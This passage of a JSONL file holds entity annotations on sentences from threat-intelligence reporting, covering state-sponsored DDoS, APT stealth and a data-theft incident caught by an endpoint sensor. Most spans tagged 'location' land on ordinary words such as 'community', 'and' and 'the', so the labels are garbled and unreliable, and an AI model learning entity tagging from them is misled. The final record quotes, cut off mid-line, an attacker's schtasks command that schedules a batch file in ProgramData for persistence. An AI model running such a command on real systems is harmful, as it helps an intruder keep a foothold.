aware.","entities":[{"id":27338,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":27341,"label":"location","start_offset":163,"end_offset":167},{"id":27343,"label":"location","start_offset":176,"end_offset":179},{"id":27344,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]} -{"id":8826,"text":"Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.","entities":[{"id":27345,"label":"location","start_offset":90,"end_offset":99},{"id":27346,"label":"location","start_offset":101,"end_offset":104},{"id":27347,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":8827,"text":"Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.","entities":[{"id":27348,"label":"location","start_offset":62,"end_offset":65},{"id":27349,"label":"location","start_offset":129,"end_offset":132},{"id":27350,"label":"location","start_offset":161,"end_offset":171},{"id":27351,"label":"location","start_offset":172,"end_offset":175},{"id":27352,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]} -{"id":8828,"text":"Advanced persistent threats (APT) are known — and are universally dreaded — for their stealth.","entities":[{"id":27353,"label":"location","start_offset":29,"end_offset":32},{"id":27354,"label":"location","start_offset":34,"end_offset":37},{"id":27355,"label":"location","start_offset":46,"end_offset":49},{"id":27356,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":8829,"text":"Actors behind such attacks actively innovate their techniques to evade detection and ensure that they maintain a foothold inside an environment as long as possible.","entities":[{"id":27357,"label":"location","start_offset":81,"end_offset":84},{"id":27358,"label":"location","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]} {"id":8830,"text":"Through the Apex One with Endpoint Sensor (iES), we discovered one such incident wherein an attacker utilized sophisticated techniques in an attempt to exfiltrate sensitive information from a company.","entities":[],"relations":[],"Comments":[]} -{"id":8831,"text":"The unique tactics, techniques, and procedures (TTPs) used in this attack highlight the importance of cross-layered detection and response solutions.","entities":[{"id":27361,"label":"location","start_offset":32,"end_offset":35},{"id":27362,"label":"location","start_offset":102,"end_offset":107},{"id":27363,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} {"id":8832,"text":"Technical analysis Detection","entities":[],"relations":[],"Comments":[]} {"id":8833,"text":"We noticed the execution of schtasks.exe with the command line parameter “schtasks \/create \/tn c:\\programdata\\\\.bat \/sc \/once \/st